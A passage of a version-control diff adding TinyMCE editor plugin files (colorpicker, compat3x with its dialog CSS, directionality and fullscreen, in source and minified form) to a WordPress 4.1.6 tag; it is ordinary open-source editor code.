+tinymce.PluginManager.add("colorpicker",function(a){function b(b,c){function d(a){var b=new tinymce.util.Color(a),c=b.toRgb();f.fromJSON({r:c.r,g:c.g,b:c.b,hex:b.toHex().substr(1)}),e(b.toHex())}function e(a){f.find("#preview")[0].getEl().style.background=a}var f=a.windowManager.open({title:"Color",items:{type:"container",layout:"flex",direction:"row",align:"stretch",padding:5,spacing:10,items:[{type:"colorpicker",value:c,onchange:function(){var a=this.rgb();f&&(f.find("#r").value(a.r),f.find("#g").value(a.g),f.find("#b").value(a.b),f.find("#hex").value(this.value().substr(1)),e(this.value()))}},{type:"form",padding:0,labelGap:5,defaults:{type:"textbox",size:7,value:"0",flex:1,spellcheck:!1,onchange:function(){var a,b,c=f.find("colorpicker")[0];return a=this.name(),b=this.value(),"hex"==a?(b="#"+b,d(b),void c.value(b)):(b={r:f.find("#r").value(),g:f.find("#g").value(),b:f.find("#b").value()},c.value(b),void d(b))}},items:[{name:"r",label:"R",autofocus:1},{name:"g",label:"G"},{name:"b",label:"B"},{name:"hex",label:"#",value:"000000"},{name:"preview",type:"container",border:1}]}]},onSubmit:function(){b("#"+this.toJSON().hex)}});d(c)}a.settings.color_picker_callback||(a.settings.color_picker_callback=b)});
Index: /tags/4.1.6/src/wp-includes/js/tinymce/plugins/compat3x/css/dialog.css
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/plugins/compat3x/css/dialog.css	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/plugins/compat3x/css/dialog.css	(revision 33402)
@@ -0,0 +1,212 @@
+@import url(//fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,300,400,600&subset=latin-ext,latin);
+
+/* Generic */
+body {
+font-family: "Open Sans", sans-serif;
+font-size:13px;
+background:#fcfcfc;
+padding:0;
+margin:8px 8px 0 8px;
+}
+
+textarea {resize:none;outline:none;}
+
+a:link, a:hover {
+	color: #2B6FB6;
+}
+
+a:visited {
+	color: #3C2BB6;
+}
+
+.nowrap {white-space: nowrap}
+
+/* Forms */
+form {margin: 0;}
+fieldset {margin:0; padding:4px; border:1px solid #dfdfdf; font-family:Verdana, Arial; font-size:10px;}
+legend {color:#2B6FB6; font-weight:bold;}
+label.msg {display:none;}
+label.invalid {color:#EE0000; display:inline;}
+input.invalid {border:1px solid #EE0000;}
+input {background:#FFF; border:1px solid #dfdfdf;}
+input, select, textarea {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;}
+input, select, textarea {border:1px solid #dfdfdf;}
+input.radio {border:1px none #000000; background:transparent; vertical-align:middle;}
+input.checkbox {border:1px none #000000; background:transparent; vertical-align:middle;}
+.input_noborder {border:0;}
+
+/* Buttons */
+#insert,
+#cancel,
+#apply,
+.mceActionPanel .button,
+input.mceButton,
+.updateButton {
+	display: inline-block;
+	text-decoration: none;
+	border: 1px solid #adadad;
+	margin: 0;
+	padding: 0 10px 1px;
+	font-size: 13px;
+	height: 24px;
+	line-height: 22px;
+	color: #333;
+	cursor: pointer;
+	-webkit-border-radius: 3px;
+	-webkit-appearance: none;
+	border-radius: 3px;
+	white-space: nowrap;
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+	background: #fafafa;
+	background-image: -webkit-gradient(linear, left top, left bottom, from(#fafafa), to(#e9e9e9));
+	background-image: -webkit-linear-gradient(top, #fafafa, #e9e9e9);
+	background-image: -moz-linear-gradient(top, #fafafa, #e9e9e9);
+	background-image: -o-linear-gradient(top, #fafafa, #e9e9e9);
+	background-image: linear-gradient(to bottom, #fafafa, #e9e9e9);
+	
+	text-shadow: 0 1px 0 #fff;
+	-webkit-box-shadow: inset 0 1px 0 #fff;
+	-moz-box-shadow: inset 0 1px 0 #fff;
+	box-shadow: inset 0 1px 0 #fff;
+}
+
+#insert {
+	background: #2ea2cc;
+	background: -webkit-gradient(linear, left top, left bottom, from(#2ea2cc), to(#1e8cbe));
+	background: -webkit-linear-gradient(top, #2ea2cc 0%,#1e8cbe 100%);
+	background: linear-gradient(top, #2ea2cc 0%,#1e8cbe 100%);
+	filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#2ea2cc', endColorstr='#1e8cbe',GradientType=0 );
+	border-color: #0074a2;
+	-webkit-box-shadow: inset 0 1px 0 rgba(120,200,230,0.5);
+	box-shadow: inset 0 1px 0 rgba(120,200,230,0.5);
+	color: #fff;
+	text-decoration: none;
+	text-shadow: 0 1px 0 rgba(0,86,132,0.7);
+}
+
+#cancel:hover,
+input.mceButton:hover,
+.updateButton:hover,
+#cancel:focus,
+input.mceButton:focus,
+.updateButton:focus {
+	background: #f3f3f3;
+	background-image: -webkit-gradient(linear, left top, left bottom, from(#fff), to(#f3f3f3));
+	background-image: -webkit-linear-gradient(top, #fff, #f3f3f3);
+	background-image: -moz-linear-gradient(top, #fff, #f3f3f3);
+	background-image: -ms-linear-gradient(top, #fff, #f3f3f3);
+	background-image: -o-linear-gradient(top, #fff, #f3f3f3);
+	background-image: linear-gradient(to bottom, #fff, #f3f3f3);
+	border-color: #999;
+	color: #222;
+}
+
+#insert:hover,
+#insert:focus {
+	background: #1e8cbe;
+	background: -webkit-gradient(linear, left top, left bottom, from(#1e8cbe), to(#0074a2));
+	background: -webkit-linear-gradient(top, #1e8cbe 0%,#0074a2 100%);
+	background: linear-gradient(top, #1e8cbe 0%,#0074a2 100%);
+	filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#1e8cbe', endColorstr='#0074a2',GradientType=0 );
+	border-color: #0074a2;
+	-webkit-box-shadow: inset 0 1px 0 rgba(120,200,230,0.6);
+	box-shadow: inset 0 1px 0 rgba(120,200,230,0.6);
+	color: #fff;
+}
+
+.mceActionPanel #insert {
+	float: right;
+}
+
+/* Browse */
+a.pickcolor, a.browse {text-decoration:none}
+a.browse span {display:block; width:20px; height:18px; border:1px solid #FFF; margin-left:1px;}
+.mceOldBoxModel a.browse span {width:22px; height:20px;}
+a.browse:hover span {border:1px solid #0A246A; background-color:#B2BBD0;}
+a.browse span.disabled {border:1px solid white; opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30);}
+a.browse:hover span.disabled {border:1px solid white; background-color:transparent;}
+a.pickcolor span {display:block; width:20px; height:16px; margin-left:2px;}
+.mceOldBoxModel a.pickcolor span {width:21px; height:17px;}
+a.pickcolor:hover span {background-color:#B2BBD0;}
+div.iframecontainer {background: #fff;}
+
+/* Charmap */
+table.charmap {border:1px solid #AAA; text-align:center}
+td.charmap, #charmap a {width:18px; height:18px; color:#000; border:1px solid #AAA; text-align:center; font-size:12px; vertical-align:middle; line-height: 18px;}
+#charmap a {display:block; color:#000; text-decoration:none; border:0}
+#charmap a:hover {background:#CCC;color:#2B6FB6}
+#charmap #codeN {font-size:10px; font-family:Arial,Helvetica,sans-serif; text-align:center}
+#charmap #codeV {font-size:40px; height:80px; border:1px solid #AAA; text-align:center}
+#charmap #charmapView {background-color:#fff;}
+
+/* Source */
+.wordWrapCode {vertical-align:middle; border:1px none #000000; background:transparent;}
+.mceActionPanel {margin-top:5px;}
+
+/* Tabs classes */
+.tabs {width:100%; height:19px; line-height:normal; border-bottom: 1px solid #aaa;}
+.tabs ul {margin:0; padding:0; list-style:none;}
+.tabs li {float:left; border: 1px solid #aaa; margin:0 2px 0 0; padding:0 0 0 10px; line-height:17px; height:18px; display:block;}
+.tabs li.current {border-bottom: 1px solid #fff; margin-right:2px;}
+.tabs span {float:left; display:block; padding:0px 10px 0 0;}
+.tabs a {text-decoration:none; font-family:Verdana, Arial; font-size:10px;}
+.tabs a:link, .tabs a:visited, .tabs a:hover {color:black;}
+
+.wp-core-ui #tabs {
+	padding-bottom: 5px;
+	background-color: transparent;
+}
+
+.wp-core-ui #tabs a {
+	padding: 6px 10px;
+	margin: 0 2px;
+}
+
+/* Panels */
+.panel_wrapper div.panel {display:none;}
+.panel_wrapper div.current {display:block; width:100%; height:300px; overflow:visible;}
+.panel_wrapper {border:1px solid #919B9C; border-top:0px; padding:10px; padding-top:5px; clear:both; background:white;}
+
+/* Columns */
+.column {float:left;}
+.properties {width:100%;}
+.properties .column1 {}
+.properties .column2 {text-align:left;}
+
+/* Titles */
+h1, h2, h3, h4 {color:#2B6FB6; margin:0; padding:0; padding-top:5px;}
+h3 {font-size:14px;}
+.title {font-size:12px; font-weight:bold; color:#2B6FB6;}
+
+/* Dialog specific */
+#link .panel_wrapper, #link div.current {height:125px;}
+#image .panel_wrapper, #image div.current {height:200px;}
+#plugintable thead {font-weight:bold; background:#DDD;}
+#plugintable, #about #plugintable td {border:1px solid #919B9C;}
+#plugintable {width:96%; margin-top:10px;}
+#pluginscontainer {height:290px; overflow:auto;}
+#colorpicker #preview {display:inline-block; padding-left:40px; height:14px; border:1px solid black; margin-left:5px; margin-right: 5px}
+#colorpicker #previewblock {position: relative; top: -3px; padding-left:5px; padding-top: 0px; display:inline}
+#colorpicker #preview_wrapper {text-align:center; padding-top:4px; white-space: nowrap; float: right;}
+#colorpicker #insert, #colorpicker #cancel {width: 90px}
+#colorpicker #colors {float:left; border:1px solid gray; cursor:crosshair;}
+#colorpicker #light {border:1px solid gray; margin-left:5px; float:left;width:15px; height:150px; cursor:crosshair;}
+#colorpicker #light div {overflow:hidden;}
+#colorpicker .panel_wrapper div.current {height:175px;}
+#colorpicker #namedcolors {width:150px;}
+#colorpicker #namedcolors a {display:block; float:left; width:10px; height:10px; margin:1px 1px 0 0; overflow:hidden;}
+#colorpicker #colornamecontainer {margin-top:5px;}
+#colorpicker #picker_panel fieldset {margin:auto;width:325px;}
+
+
+/* Localization */ 
+
+body[dir="rtl"],
+body[dir="rtl"] fieldset,
+body[dir="rtl"] input, body[dir="rtl"] select, body[dir="rtl"]  textarea,
+body[dir="rtl"]  #charmap #codeN,
+body[dir="rtl"] .tabs a {
+	font-family: Tahoma, sans-serif;
+}
Index: /tags/4.1.6/src/wp-includes/js/tinymce/plugins/compat3x/plugin.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/plugins/compat3x/plugin.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/plugins/compat3x/plugin.js	(revision 33402)
@@ -0,0 +1,304 @@
+/**
+ * plugin.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/*global tinymce:true, console:true */
+/*eslint no-console:0, new-cap:0 */
+
+/**
+ * This plugin adds missing events form the 4.x API back. Not every event is
+ * properly supported but most things should work.
+ *
+ * Unsupported things:
+ *  - No editor.onEvent
+ *  - Can't cancel execCommands with beforeExecCommand
+ */
+(function(tinymce) {
+	var reported;
+
+	function noop() {
+	}
+
+	function log(apiCall) {
+		if (!reported && window && window.console) {
+			reported = true;
+			console.log("Deprecated TinyMCE API call: " + apiCall);
+		}
+	}
+
+	function Dispatcher(target, newEventName, argsMap, defaultScope) {
+		target = target || this;
+
+		if (!newEventName) {
+			this.add = this.addToTop = this.remove = this.dispatch = noop;
+			return;
+		}
+
+		this.add = function(callback, scope, prepend) {
+			log('<target>.on' + newEventName + ".add(..)");
+
+			// Convert callback({arg1:x, arg2:x}) -> callback(arg1, arg2)
+			function patchedEventCallback(e) {
+				var callbackArgs = [];
+
+				if (typeof argsMap == "string") {
+					argsMap = argsMap.split(" ");
+				}
+
+				if (argsMap && typeof argsMap != "function") {
+					for (var i = 0; i < argsMap.length; i++) {
+						callbackArgs.push(e[argsMap[i]]);
+					}
+				}
+
+				if (typeof argsMap == "function") {
+					callbackArgs = argsMap(newEventName, e, target);
+					if (!callbackArgs) {
+						return;
+					}
+				}
+
+				if (!argsMap) {
+					callbackArgs = [e];
+				}
+
+				callbackArgs.unshift(defaultScope || target);
+
+				if (callback.apply(scope || defaultScope || target, callbackArgs) === false) {
+					e.stopImmediatePropagation();
+				}
+			}
+
+			target.on(newEventName, patchedEventCallback, prepend);
+
+			return patchedEventCallback;
+		};
+
+		this.addToTop = function(callback, scope) {
+			this.add(callback, scope, true);
+		};
+
+		this.remove = function(callback) {
+			return target.off(newEventName, callback);
+		};
+
+		this.dispatch = function() {
+			target.fire(newEventName);
+
+			return true;
+		};
+	}
+
+	tinymce.util.Dispatcher = Dispatcher;
+	tinymce.onBeforeUnload = new Dispatcher(tinymce, "BeforeUnload");
+	tinymce.onAddEditor = new Dispatcher(tinymce, "AddEditor", "editor");
+	tinymce.onRemoveEditor = new Dispatcher(tinymce, "RemoveEditor", "editor");
+
+	tinymce.util.Cookie = {
+		get: noop, getHash: noop, remove: noop, set: noop, setHash: noop
+	};
+
+	function patchEditor(editor) {
+		function patchEditorEvents(oldEventNames, argsMap) {
+			tinymce.each(oldEventNames.split(" "), function(oldName) {
+				editor["on" + oldName] = new Dispatcher(editor, oldName, argsMap);
+			});
+		}
+
+		function convertUndoEventArgs(type, event, target) {
+			return [
+				event.level,
+				target
+			];
+		}
+
+		function filterSelectionEvents(needsSelection) {
+			return function(type, e) {
+				if ((!e.selection && !needsSelection) || e.selection == needsSelection) {
+					return [e];
+				}
+			};
+		}
+
+		if (editor.controlManager) {
+			return;
+		}
+
+		function cmNoop() {
+			var obj = {}, methods = 'add addMenu addSeparator collapse createMenu destroy displayColor expand focus ' +
+				'getLength hasMenus hideMenu isActive isCollapsed isDisabled isRendered isSelected mark ' +
+				'postRender remove removeAll renderHTML renderMenu renderNode renderTo select selectByIndex ' +
+				'setActive setAriaProperty setColor setDisabled setSelected setState showMenu update';
+
+			log('editor.controlManager.*');
+
+			function _noop() {
+				return cmNoop();
+			}
+
+			tinymce.each(methods.split(' '), function(method) {
+				obj[method] = _noop;
+			});
+
+			return obj;
+		}
+
+		editor.controlManager = {
+			buttons: {},
+
+			setDisabled: function(name, state) {
+				log("controlManager.setDisabled(..)");
+
+				if (this.buttons[name]) {
+					this.buttons[name].disabled(state);
+				}
+			},
+
+			setActive: function(name, state) {
+				log("controlManager.setActive(..)");
+
+				if (this.buttons[name]) {
+					this.buttons[name].active(state);
+				}
+			},
+
+			onAdd: new Dispatcher(),
+			onPostRender: new Dispatcher(),
+
+			add: function(obj) {
+				return obj;
+			},
+			createButton: cmNoop,
+			createColorSplitButton: cmNoop,
+			createControl: cmNoop,
+			createDropMenu: cmNoop,
+			createListBox: cmNoop,
+			createMenuButton: cmNoop,
+			createSeparator: cmNoop,
+			createSplitButton: cmNoop,
+			createToolbar: cmNoop,
+			createToolbarGroup: cmNoop,
+			destroy: noop,
+			get: noop,
+			setControlType: cmNoop
+		};
+
+		patchEditorEvents("PreInit BeforeRenderUI PostRender Load Init Remove Activate Deactivate", "editor");
+		patchEditorEvents("Click MouseUp MouseDown DblClick KeyDown KeyUp KeyPress ContextMenu Paste Submit Reset");
+		patchEditorEvents("BeforeExecCommand ExecCommand", "command ui value args"); // args.terminate not supported
+		patchEditorEvents("PreProcess PostProcess LoadContent SaveContent Change");
+		patchEditorEvents("BeforeSetContent BeforeGetContent SetContent GetContent", filterSelectionEvents(false));
+		patchEditorEvents("SetProgressState", "state time");
+		patchEditorEvents("VisualAid", "element hasVisual");
+		patchEditorEvents("Undo Redo", convertUndoEventArgs);
+
+		patchEditorEvents("NodeChange", function(type, e) {
+			return [
+				editor.controlManager,
+				e.element,
+				editor.selection.isCollapsed(),
+				e
+			];
+		});
+
+		var originalAddButton = editor.addButton;
+		editor.addButton = function(name, settings) {
+			var originalOnPostRender, string, translated;
+
+			function patchedPostRender() {
+				editor.controlManager.buttons[name] = this;
+
+				if (originalOnPostRender) {
+					return originalOnPostRender.call(this);
+				}
+			}
+
+			for (var key in settings) {
+				if (key.toLowerCase() === "onpostrender") {
+					originalOnPostRender = settings[key];
+					settings.onPostRender = patchedPostRender;
+				}
+			}
+
+			if (!originalOnPostRender) {
+				settings.onPostRender = patchedPostRender;
+			}
+
+			if ( settings.title ) {
+				// WP
+				string = (editor.settings.language || "en") + "." + settings.title;
+				translated = tinymce.i18n.translate(string);
+
+				if ( string !== translated ) {
+					settings.title = translated;
+				}
+				// WP end
+			}
+
+			return originalAddButton.call(this, name, settings);
+		};
+
+		editor.on('init', function() {
+			var undoManager = editor.undoManager, selection = editor.selection;
+
+			undoManager.onUndo = new Dispatcher(editor, "Undo", convertUndoEventArgs, null, undoManager);
+			undoManager.onRedo = new Dispatcher(editor, "Redo", convertUndoEventArgs, null, undoManager);
+			undoManager.onBeforeAdd = new Dispatcher(editor, "BeforeAddUndo", null, undoManager);
+			undoManager.onAdd = new Dispatcher(editor, "AddUndo", null, undoManager);
+
+			selection.onBeforeGetContent = new Dispatcher(editor, "BeforeGetContent", filterSelectionEvents(true), selection);
+			selection.onGetContent = new Dispatcher(editor, "GetContent", filterSelectionEvents(true), selection);
+			selection.onBeforeSetContent = new Dispatcher(editor, "BeforeSetContent", filterSelectionEvents(true), selection);
+			selection.onSetContent = new Dispatcher(editor, "SetContent", filterSelectionEvents(true), selection);
+		});
+
+		editor.on('BeforeRenderUI', function() {
+			var windowManager = editor.windowManager;
+
+			windowManager.onOpen = new Dispatcher();
+			windowManager.onClose = new Dispatcher();
+			windowManager.createInstance = function(className, a, b, c, d, e) {
+				log("windowManager.createInstance(..)");
+
+				var constr = tinymce.resolve(className);
+				return new constr(a, b, c, d, e);
+			};
+		});
+	}
+
+	tinymce.on('SetupEditor', patchEditor);
+	tinymce.PluginManager.add("compat3x", patchEditor);
+
+	tinymce.addI18n = function(prefix, o) {
+		var I18n = tinymce.util.I18n, each = tinymce.each;
+
+		if (typeof(prefix) == "string" && prefix.indexOf('.') === -1) {
+			I18n.add(prefix, o);
+			return;
+		}
+
+		if (!tinymce.is(prefix, 'string')) {
+			each(prefix, function(o, lc) {
+				each(o, function(o, g) {
+					each(o, function(o, k) {
+						if (g === 'common') {
+							I18n.data[lc + '.' + k] = o;
+						} else {
+							I18n.data[lc + '.' + g + '.' + k] = o;
+						}
+					});
+				});
+			});
+		} else {
+			each(o, function(o, k) {
+				I18n.data[prefix + '.' + k] = o;
+			});
+		}
+	};
+})(tinymce);
Index: /tags/4.1.6/src/wp-includes/js/tinymce/plugins/compat3x/plugin.min.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/plugins/compat3x/plugin.min.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/plugins/compat3x/plugin.min.js	(revision 33402)
@@ -0,0 +1,1 @@
+!function(a){function b(){}function c(a){!f&&window&&window.console&&(f=!0,console.log("Deprecated TinyMCE API call: "+a))}function d(a,d,e,f){return a=a||this,d?(this.add=function(b,g,h){function i(c){var h=[];if("string"==typeof e&&(e=e.split(" ")),e&&"function"!=typeof e)for(var i=0;i<e.length;i++)h.push(c[e[i]]);("function"!=typeof e||(h=e(d,c,a)))&&(e||(h=[c]),h.unshift(f||a),b.apply(g||f||a,h)===!1&&c.stopImmediatePropagation())}return c("<target>.on"+d+".add(..)"),a.on(d,i,h),i},this.addToTop=function(a,b){this.add(a,b,!0)},this.remove=function(b){return a.off(d,b)},void(this.dispatch=function(){return a.fire(d),!0})):void(this.add=this.addToTop=this.remove=this.dispatch=b)}function e(e){function f(b,c){a.each(b.split(" "),function(a){e["on"+a]=new d(e,a,c)})}function g(a,b,c){return[b.level,c]}function h(a){return function(b,c){return!c.selection&&!a||c.selection==a?[c]:void 0}}function i(){function b(){return i()}var d={},e="add addMenu addSeparator collapse createMenu destroy displayColor expand focus getLength hasMenus hideMenu isActive isCollapsed isDisabled isRendered isSelected mark postRender remove removeAll renderHTML renderMenu renderNode renderTo select selectByIndex setActive setAriaProperty setColor setDisabled setSelected setState showMenu update";return c("editor.controlManager.*"),a.each(e.split(" "),function(a){d[a]=b}),d}if(!e.controlManager){e.controlManager={buttons:{},setDisabled:function(a,b){c("controlManager.setDisabled(..)"),this.buttons[a]&&this.buttons[a].disabled(b)},setActive:function(a,b){c("controlManager.setActive(..)"),this.buttons[a]&&this.buttons[a].active(b)},onAdd:new d,onPostRender:new d,add:function(a){return a},createButton:i,createColorSplitButton:i,createControl:i,createDropMenu:i,createListBox:i,createMenuButton:i,createSeparator:i,createSplitButton:i,createToolbar:i,createToolbarGroup:i,destroy:b,get:b,setControlType:i},f("PreInit BeforeRenderUI PostRender Load Init Remove Activate Deactivate","editor"),f("Click MouseUp MouseDown DblClick KeyDown KeyUp KeyPress ContextMenu Paste Submit Reset"),f("BeforeExecCommand ExecCommand","command ui value args"),f("PreProcess PostProcess LoadContent SaveContent Change"),f("BeforeSetContent BeforeGetContent SetContent GetContent",h(!1)),f("SetProgressState","state time"),f("VisualAid","element hasVisual"),f("Undo Redo",g),f("NodeChange",function(a,b){return[e.controlManager,b.element,e.selection.isCollapsed(),b]});var j=e.addButton;e.addButton=function(b,c){function d(){return e.controlManager.buttons[b]=this,f?f.call(this):void 0}var f,g,h;for(var i in c)"onpostrender"===i.toLowerCase()&&(f=c[i],c.onPostRender=d);return f||(c.onPostRender=d),c.title&&(g=(e.settings.language||"en")+"."+c.title,h=a.i18n.translate(g),g!==h&&(c.title=h)),j.call(this,b,c)},e.on("init",function(){var a=e.undoManager,b=e.selection;a.onUndo=new d(e,"Undo",g,null,a),a.onRedo=new d(e,"Redo",g,null,a),a.onBeforeAdd=new d(e,"BeforeAddUndo",null,a),a.onAdd=new d(e,"AddUndo",null,a),b.onBeforeGetContent=new d(e,"BeforeGetContent",h(!0),b),b.onGetContent=new d(e,"GetContent",h(!0),b),b.onBeforeSetContent=new d(e,"BeforeSetContent",h(!0),b),b.onSetContent=new d(e,"SetContent",h(!0),b)}),e.on("BeforeRenderUI",function(){var b=e.windowManager;b.onOpen=new d,b.onClose=new d,b.createInstance=function(b,d,e,f,g,h){c("windowManager.createInstance(..)");var i=a.resolve(b);return new i(d,e,f,g,h)}})}}var f;a.util.Dispatcher=d,a.onBeforeUnload=new d(a,"BeforeUnload"),a.onAddEditor=new d(a,"AddEditor","editor"),a.onRemoveEditor=new d(a,"RemoveEditor","editor"),a.util.Cookie={get:b,getHash:b,remove:b,set:b,setHash:b},a.on("SetupEditor",e),a.PluginManager.add("compat3x",e),a.addI18n=function(b,c){var d=a.util.I18n,e=a.each;return"string"==typeof b&&-1===b.indexOf(".")?void d.add(b,c):void(a.is(b,"string")?e(c,function(a,c){d.data[b+"."+c]=a}):e(b,function(a,b){e(a,function(a,c){e(a,function(a,e){"common"===c?d.data[b+"."+e]=a:d.data[b+"."+c+"."+e]=a})})}))}}(tinymce);
Index: /tags/4.1.6/src/wp-includes/js/tinymce/plugins/directionality/plugin.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/plugins/directionality/plugin.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/plugins/directionality/plugin.js	(revision 33402)
@@ -0,0 +1,64 @@
+/**
+ * plugin.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/*global tinymce:true */
+
+tinymce.PluginManager.add('directionality', function(editor) {
+	function setDir(dir) {
+		var dom = editor.dom, curDir, blocks = editor.selection.getSelectedBlocks();
+
+		if (blocks.length) {
+			curDir = dom.getAttrib(blocks[0], "dir");
+
+			tinymce.each(blocks, function(block) {
+				// Add dir to block if the parent block doesn't already have that dir
+				if (!dom.getParent(block.parentNode, "*[dir='" + dir + "']", dom.getRoot())) {
+					if (curDir != dir) {
+						dom.setAttrib(block, "dir", dir);
+					} else {
+						dom.setAttrib(block, "dir", null);
+					}
+				}
+			});
+
+			editor.nodeChanged();
+		}
+	}
+
+	function generateSelector(dir) {
+		var selector = [];
+
+		tinymce.each('h1 h2 h3 h4 h5 h6 div p'.split(' '), function(name) {
+			selector.push(name + '[dir=' + dir + ']');
+		});
+
+		return selector.join(',');
+	}
+
+	editor.addCommand('mceDirectionLTR', function() {
+		setDir("ltr");
+	});
+
+	editor.addCommand('mceDirectionRTL', function() {
+		setDir("rtl");
+	});
+
+	editor.addButton('ltr', {
+		title: 'Left to right',
+		cmd: 'mceDirectionLTR',
+		stateSelector: generateSelector('ltr')
+	});
+
+	editor.addButton('rtl', {
+		title: 'Right to left',
+		cmd: 'mceDirectionRTL',
+		stateSelector: generateSelector('rtl')
+	});
+});
Index: /tags/4.1.6/src/wp-includes/js/tinymce/plugins/directionality/plugin.min.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/plugins/directionality/plugin.min.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/plugins/directionality/plugin.min.js	(revision 33402)
@@ -0,0 +1,1 @@
+tinymce.PluginManager.add("directionality",function(a){function b(b){var c,d=a.dom,e=a.selection.getSelectedBlocks();e.length&&(c=d.getAttrib(e[0],"dir"),tinymce.each(e,function(a){d.getParent(a.parentNode,"*[dir='"+b+"']",d.getRoot())||(c!=b?d.setAttrib(a,"dir",b):d.setAttrib(a,"dir",null))}),a.nodeChanged())}function c(a){var b=[];return tinymce.each("h1 h2 h3 h4 h5 h6 div p".split(" "),function(c){b.push(c+"[dir="+a+"]")}),b.join(",")}a.addCommand("mceDirectionLTR",function(){b("ltr")}),a.addCommand("mceDirectionRTL",function(){b("rtl")}),a.addButton("ltr",{title:"Left to right",cmd:"mceDirectionLTR",stateSelector:c("ltr")}),a.addButton("rtl",{title:"Right to left",cmd:"mceDirectionRTL",stateSelector:c("rtl")})});
Index: /tags/4.1.6/src/wp-includes/js/tinymce/plugins/fullscreen/plugin.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/plugins/fullscreen/plugin.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/plugins/fullscreen/plugin.js	(revision 33402)
@@ -0,0 +1,136 @@
+/**
+ * plugin.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/*global tinymce:true */
+
+tinymce.PluginManager.add('fullscreen', function(editor) {
+	var fullscreenState = false, DOM = tinymce.DOM, iframeWidth, iframeHeight, resizeHandler;
+	var containerWidth, containerHeight;
+
+	if (editor.settings.inline) {
+		return;
+	}
+
+	function getWindowSize() {
+		var w, h, win = window, doc = document;
+		var body = doc.body;
+
+		// Old IE
+		if (body.offsetWidth) {
+			w = body.offsetWidth;
+			h = body.offsetHeight;
+		}
+
+		// Modern browsers
+		if (win.innerWidth && win.innerHeight) {
+			w = win.innerWidth;
+			h = win.innerHeight;
+		}
+
+		return {w: w, h: h};
+	}
+
+	function toggleFullscreen() {
+		var body = document.body, documentElement = document.documentElement, editorContainerStyle;
+		var editorContainer, iframe, iframeStyle;
+
+		function resize() {
+			DOM.setStyle(iframe, 'height', getWindowSize().h - (editorContainer.clientHeight - iframe.clientHeight));
+		}
+
+		fullscreenState = !fullscreenState;
+
+		editorContainer = editor.getContainer();
+		editorContainerStyle = editorContainer.style;
+		iframe = editor.getContentAreaContainer().firstChild;
+		iframeStyle = iframe.style;
+
+		if (fullscreenState) {
+			iframeWidth = iframeStyle.width;
+			iframeHeight = iframeStyle.height;
+			iframeStyle.width = iframeStyle.height = '100%';
+			containerWidth = editorContainerStyle.width;
+			containerHeight = editorContainerStyle.height;
+			editorContainerStyle.width = editorContainerStyle.height = '';
+
+			DOM.addClass(body, 'mce-fullscreen');
+			DOM.addClass(documentElement, 'mce-fullscreen');
+			DOM.addClass(editorContainer, 'mce-fullscreen');
+
+			DOM.bind(window, 'resize', resize);
+			resize();
+			resizeHandler = resize;
+		} else {
+			iframeStyle.width = iframeWidth;
+			iframeStyle.height = iframeHeight;
+
+			if (containerWidth) {
+				editorContainerStyle.width = containerWidth;
+			}
+
+			if (containerHeight) {
+				editorContainerStyle.height = containerHeight;
+			}
+
+			DOM.removeClass(body, 'mce-fullscreen');
+			DOM.removeClass(documentElement, 'mce-fullscreen');
+			DOM.removeClass(editorContainer, 'mce-fullscreen');
+			DOM.unbind(window, 'resize', resizeHandler);
+		}
+
+		editor.fire('FullscreenStateChanged', {state: fullscreenState});
+	}
+
+	editor.on('init', function() {
+		editor.addShortcut('Ctrl+Alt+F', '', toggleFullscreen);
+	});
+
+	editor.on('remove', function() {
+		if (resizeHandler) {
+			DOM.unbind(window, 'resize', resizeHandler);
+		}
+	});
+
+	editor.addCommand('mceFullScreen', toggleFullscreen);
+
+	editor.addMenuItem('fullscreen', {
+		text: 'Fullscreen',
+		shortcut: 'Ctrl+Alt+F',
+		selectable: true,
+		onClick: toggleFullscreen,
+		onPostRender: function() {
+			var self = this;
+
+			editor.on('FullscreenStateChanged', function(e) {
+				self.active(e.state);
+			});
+		},
+		context: 'view'
+	});
+
+	editor.addButton('fullscreen', {
+		tooltip: 'Fullscreen',
+		shortcut: 'Ctrl+Alt+F',
+		onClick: toggleFullscreen,
+		onPostRender: function() {
+			var self = this;
+
+			editor.on('FullscreenStateChanged', function(e) {
+				self.active(e.state);
+			});
+		}
+	});
+
+	return {
+		isFullscreen: function() {
+			return fullscreenState;
+		}
+	};
+});
Index: /tags/4.1.6/src/wp-includes/js/tinymce/plugins/fullscreen/plugin.min.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/plugins/fullscreen/plugin.min.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/plugins/fullscreen/plugin.min.js	(revision 33402)
@@ -0,0 +1,1 @@
